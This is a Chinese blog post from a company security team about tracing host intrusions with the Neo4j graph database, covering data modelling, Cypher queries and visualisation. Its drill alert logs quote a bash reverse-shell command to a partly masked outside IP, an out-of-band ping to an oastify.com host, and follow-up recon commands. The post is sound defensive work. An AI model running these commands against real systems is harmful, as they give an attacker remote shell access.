一、探索背景

随着货拉拉业务的扩大,分散在多朵云环境,安全事件响应需要运营同学在多云切换,部分安全策略黑盒运营,无法定制化,为减少多云环境的运营成本,同时也需要主机的基础数据能联动其他安全产品,为此自研主机安全HIDS,在建设过程中跟业界产品一样,除安全检测功能在正常迭代完善外,也在探索溯源攻击链路的机制,完整感知入侵行为,提高安全运营的MTTR,本文介绍基于图数据库在主机安全的安全事件应急研判和攻击溯源的应用探索。

1.1 应急溯源痛点

当前在主机安全采集的基础数据一般主要存储在mysql、es和hive等数据库,涉及的数据一般是主机的进程创建、文件、网络连接、登入日志等,其中进程是最重要的数据,其他数据都是在进程上产生的行为数据。

1)当前检测场景更多偏向于发现主机入侵的某个单点告警,在攻击动作中,可能分散在不同维度的告警,需要人工或者半自动化聚合更多安全信息排查,除了在告警中富化输出攻击动作评分、关联主机资产外,也经常需要使用Elasticsearch的Kibana仪表板去切换检索多个日志数据,如下图 包括主机进程、网络连接、dns、文件、登入等,安全运营综合分析研判,在消息数量大,依靠肉眼检索排查,不直观,排查时间短则10分钟内,长则到小时级,效率低下,容易出现误判。

2)部分安全场景检测能力不足,在基于当前传统数据库下,在数据量大情况下,多级数据源join查询操作无法在有效的时间内计算出结果,无法满足安全运营需求。

1.2 应急响应需求

在主机安全检测到异常行为触发告警时,需要安全运营做出如下分析判定:

  • 基于告警内容上下文,快速研判攻击是否真实发生;

  • 还原攻击者的入侵链路图,在最短时间内定位入侵原因、制定应急决策;

  • 评估攻击受影响面,通过关联分析,发掘更多的为未知威胁。

为此希望对主机内的所有进程、网络、文件等基础数据统一存储和管理,进行综合判断实锤,图数据库正好满足安全运营需求(数据统一存储、攻击动作关联),为此基于主机的进程链来提高对安全事件的理解和分析能力,发现攻击动作的完整链路,提高安全运营效率。

从形式上来说图数据库更接近于人类思维方式和现实世界万事万物的关联性,例如下图中警方调研案件的“线索板”,调查人员试图理清的复杂案件网络,每个节点和连接都是解开案件谜团的一部分。

二、图数据库调研

2.1 开源图数据库

参考业界主流图数据库调研资料,有30多个指标,包括生态、功能、性能、工具链等维度。

图数据库选型比较:Neo4j、JanusGraph、HugeGraph

(https://mp.weixin.qq.com/s/_kr-E6t2bnCkguBHtU-1vg)

Neo4j是老牌的图数据库,JanusGraph是非常成功的开源图数据库TitanDB的Fork版(TitanDB已经不维护了),HugeGraph是百度开源的图数据库。

另外还有像NebulaGraph(原阿里巴巴团队创业开发)。

当时考虑优先快速支持和可视化,使用最多的Neo4j图数据库先试用起来。

2.2 图数据库neo4j

Neo4j是一种图形数据库管理系统,它是高性能的NoSQL数据库,专为存储和处理大量复杂的关系数据而设计。与传统的关系数据库(如MySQL)不同,Neo4j使用图结构来表示和查询数据,这使得它非常适合于处理复杂网络和关系密集型数据。

在Neo4j中,数据被存储为节点(entities)和关系(relationships)。

节点: 节点是图中的基本元素,代表实体。每个节点可以有一个或多个标签(Label),表示不同的类别或类型。节点还可以拥有属性(Property),这些属性存储相关的数据,比如一个人的节点可能有姓名、年龄等属性。

关系: 关系是连接两个节点的线,代表节点之间的关联。关系总是有方向,指从一个节点指向到另一个节点。关系也可以有类型和属性。类型用于描述关系的性质,比如“朋友”、“属于”等。

如下面是Neo4j原生查询名字为钢铁侠的关系效果图。

2.3 可视化库neovis.js

Neovis.js是一个基于JavaScript的库,可以连接到Neo4j图数据库,并图形化地展示Neo4j数据库中的数据。开发者可以指定节点的标签和属性、自定义查询语句,轻松创建动态的、交互式的图形,展示节点和它们之间的关系,从而让图形数据的分析和展示变得直观。

使用Neovis.js库开发的前端页面,相比于直接使用Neo4j提供的可视化工具Neo4j Browser,有以下优势:

  • 定制化的界面与功能:可以根据安全事件的特定需求来设计和实现界面和功能,比如特定的搜索功能。

  • 提供URL溯源链接:在飞书消息中点击链接一键查询告警溯源链,免去逐个键入Cypher查询语句的繁琐步骤,这对于技术人员和非技术人员都能有更好的使用体验。

  • 集成与扩展性:内部开发的前端页面可以更容易地与现有工具集成,如与主机安全管理平台等可视化平台的集成,此外还可以根据需求添加新的功能与扩展。

  • 持续反馈与迭代:基于使用反馈,可以更灵活地进行开发迭代与改进,确保持续满足需求和预期。

如下图是使用Neovis.js的一个效果图,相比Neo4j自带可视化,效果更佳。

2.4 图查询语言Cypher

Neo4j使用Cypher查询语言来查询和操作图形数据,这是一种专门为处理图形数据设计的声明性语言,允许使用ASCII字符来表示节点和关系,通过直观的方式表达复杂的图形查询和数据操作。

Cypher的基本结构:

  • 节点:节点被表示为圆括号内的内容,类似于图形中的圆圈。例如:(node)。

  • 关系:关系用箭头和方括号表示。例如:(node1)-[RELATIONSHIP]->(node2)表示从 node1 到 node2 的一种关系。

  • 属性:节点和关系都可以拥有属性,这些属性在圆括号()或方括号[]内用大括号{}表示。例如:(person {name: "Alice"})表示一个名为Alice的person节点。

  • 标签:节点可以有一个或多个标签来区分不同类型的节点,用冒号:表示。例如:(person:User) 表示标签为User的person节点。

常用的查询语句有:

  • MATCH语句:用于指定图中要查找的模式,例如MATCH (n)-[r]->(m) 匹配从节点 n 到节点 m 的所有有向关系 r。

  • WHERE子句:用于添加条件以过滤结果,例如MATCH (n) WHERE n.name = "Alice" RETURN n 会返回所有名为Alice的节点。

  • RETURN语句:指定要返回的数据,RETURN n,r,m 返回匹配的节点和关系。

Cypher查询举例:

“MATCH”语句匹配任何符合“WHERE”条件的直接或间接连接(星号表示任意长度路径)节点n和节点m的路径。WHERE语句筛选出pid属性值为"1788"和ip属性值为"10.xx.xx.16"的n节点,RETURN语句返回所有符合条件的节点和它们之间的关系。

    MATCH (n)-[r*]-(m) WHERE n.pid="1788"AND n.ip="10.xx.xx.16" RETURN n, r, m

    三、图数据库应用

    3.1 图数据处理流程

    当前将主机安全产生的告警数据,关联出对应的基础数据一并接入图数据库,整体数据的量级在可接受范围内。

    3.2 图数据建模

    攻击者执行命令控制操作产生一系列进程,进程发起网络连接请求传输数据,并可能产生文件读写行为。根据主机入侵攻击的操作动作,从进程的角度出发可以关联出命令执行、网络连接、读写文件,能够快速分析出攻击场景,还原出入侵行为攻击的链路。为此主机安全在图数据库的知识建模,按进程维度拆分出图的节点和关系类型

    图节点类型: 服务器host(主机ip),warning(告警),process(进程),file(文件)、network(网络)等

    图关系类型:创建行为、触发告警行为、产生外联行为、打开文件行为等

    1)主机创建子进程 (process)-[create]->(子process)

    2) 进程读写文件 (process)-[open]->(file)

    3) 进程连接网络 (process)-[connect]->(network)

    4) 进程触发告警 (process)-[create]->(warning)

    关系类型:

    3.3 进程链父子关系

    线程组:线程组是指共享同一个进程空间的一组线程。线程组ID(TGID)与主线程的线程ID(TID)相同,并用task_struct::tgid在内核中表示。

    进程组:进程组是一组可能相互通信的进程。如果一个进程fork出一个子进程,它们默认属于同一个进程组。进程组ID(PGID)是这个组内首个进程的进程ID(PID)。

    会话Session(sid),一系列进程组可以构成一个会话。通常,开启一个shell会话就会创建一个新的会话。

    例如:在bash shell下启动一个名为thread_test的进程,这个进程首先创建一个线程,然后再 fork出一个进程, 查看这个thread_test相关的各种id信息:

    1)主进程,新创建的线程和fork出的新进程,它们的tid均不相同,这是它们各自的真正的唯一标识;

    2)主进程和创建的线程它们的pid和tgid是一样的,是因为它两个属于同一个线程组,且这个线程组的ID就是主进程的TID;

    3)主进程和创建的线程的父进程ID,即ppid是一样的(1292449),这个ID其实就是bash shell进程的PID;fork的新进程的父 ID是 上面的主进程ID;

    4)主进程,新创建的线程和fork出的新进程,它们的进程组id,即pgid是一样的,都是这个主进程的pid, 因为它们同属于同一个进程组;

    当前是根据进程的pid、ppid、pgid来确定关联同一个进程组、以及父子进程的关系。在同一pgid下,A进程的pid 等于 B进程的ppid,即创建节点并关联:A --创建进程-->B

    四、 主机安全效果

    4.1 推送图数据溯源链

    以群机器人的形式推送飞书告警群,在安全告警附带上图数据库溯源链的URL,运营同学点击超链接可跳转到图数据可视化界面。

    例如:某次安全演练效果,触发多个高危告警

    命令注入告警1:发现ping 命令注入动作

      # IP:xxx# Hostname:xxxx# ScanTime:2023-11-2010:45:21# Dtype:可疑命令注入# Detail:# 用户:druid# 进程exe:/usr/bin/ping# 进程cmdline:ping -c176b2npy07xxxxxx.yupie.oastify.com# 当前目录:/opt/apache-druid-0.*.2# 终端:# 父进程exe:/usr/local/jdk1.*.0_*/bin/java# 父进程cmdline:/usr/local/java//bin/java -server -Xms1000m -Xmx1000m -XX:+ExitOnOutOfMemoryError -XX:+UseConcMarkSweepGC org.apache.druid.cli.Main server coordinator # 负责人:xxxx# 部门:xxxxx# 事件等级:紧急# 事件评分:10# 溯源链URL:https://huolala.processchain/ProcessChain.html?pid=11711&ip=10.x.x.2

      反弹shell告警2:发现bash -i反弹shell高危动作, 并告警出当前session会话(sid)中对应的操作(反弹shell之前的ping探测,之后执行id、whoami等动作)

        # IP:xxxx# Hostname:xxxx# ScanTime:2023-11-2010:50:03# Dtype:反弹shell事件# Detail:# 运行模式:Machine# 反弹类型:1# 反弹进程:/usr/bin/bash# 反弹参数:/bin/bash -i# 父进程信息:/usr/bin/bash# 父进程参数:/bin/bash -c /bin/bash -i >& /dev/tcp/154.xx.xx.121/99990>&1 # 反弹细节:Critical Reverse Shell1: [/bin/bash -i -> /proc/12408/fd/0 -> socket:3822612837 -> tcp://154.xx.xxx.121:9999]# 负责人:xxxx# 部门:xxxx# 事件等级:紧急# 事件评分:10# session操作序列:2023-11-2010:03:52:open /Applications/Calculator.app

        2023-11-2010:45:21:ping -c176b2npxxxxxx.yupie.oastify.com

        2023-11-2010:46:33:/bin/bash -c /bin/bash -i >& /dev/tcp/154.xxx.xxx.121/99990>&1

        2023-11-2010:46:33:/bin/bash -i

        2023-11-2010:46:33:/usr/bin/id -gn

        2023-11-2010:46:33:/usr/bin/id -u

        2023-11-2010:46:33:/usr/bin/id -un

        2023-11-2010:46:33:pkg-config --variable=completionsdir bash-completion

        2023-11-2010:46:33:tty -s

        2023-11-2010:51:00:whoami

        2023-11-2010:51:02:ls

        # 溯源链URL:https://huolala.processchain/ProcessChain.html?pid=12408&ip=10.xx.xx.128

        此次安全演练的图数据库可视化效果

        在图数据库界面中可视化展示整个主机被入侵的行为动作链路;可以较直观看到这次是从java服务某个入口产生的一系列行为动作,在图分支中有可疑命令注入(ping) 、/usr/bin/bash 产生反弹shell以及网络外联的ip端口(//154.xx.xx.121:9999),这直接对应到飞书告警消息中描述的父进程参数和反弹细节。

        相比在ES中切换检索主机各方面数据效率提升很多。

        4.2 日常图查询

        通过Cypher查询语句可以查找具有特定pid 和ip 属性的节点(别名为n),以及与这个节点通过任意长度的路径相连的所有其他节点(别名为m),及其关系(别名为r)。

        MATCH (n)-[r*]-(m) WHERE n.pid="1788" AND n.ip="x.x.x.x" RETURN n, r, m

        如果想查询其他ip或者pid,可以在URL或者“Cypher query”框中键入查询语句,会检索图数据库并返回结果。

        4.3 可视化功能示例

        1、鼠标悬停在某节点上,可显示某个节点细节,并且鼠标滚轮支持展示面板的缩放

        2、拖动节点位置后,节点会有移动惯性,“Stabilize”按钮用来使移动的节点静止,达到更好的现实效果:

        五、总结和思考

        当前货拉拉信息安全团队将图数据库实践应用到主机安全的溯源链路中,在实际安全演练有较好的效果,能够提高安全运营的应急响应效率,未来也将持续迭代和完善,在溯源链路丰富更多的主机数据。我们也会将图数据库推广应用到终端edr、纵深防御、数据安全等领域的安全产品中,在纵深防御中,期望能够绘制出攻击者整个画像和攻击路径,看得清,看的全,提供层次化安全视图,可以看到更清晰的多个安全单品的攻击动作,并且能够缩放到单品的细粒度进程级告警。

        引用链接:

        1、图数据库选型:Neo4j、Janus、HugeGraph

        https://mp.weixin.qq.com/s/_kr-E6t2bnCkguBHtU-1vg

        2、Neovis 项目github地址

        https://github.com/neo4j-contrib/neovis.js

        声明:本文来自货拉拉安全应急响应中心,版权归作者所有。文章内容仅代表作者独立观点,不代表安全内参立场,转载目的在于传递更多信息。如有侵权,请联系 anquanneican@163.com。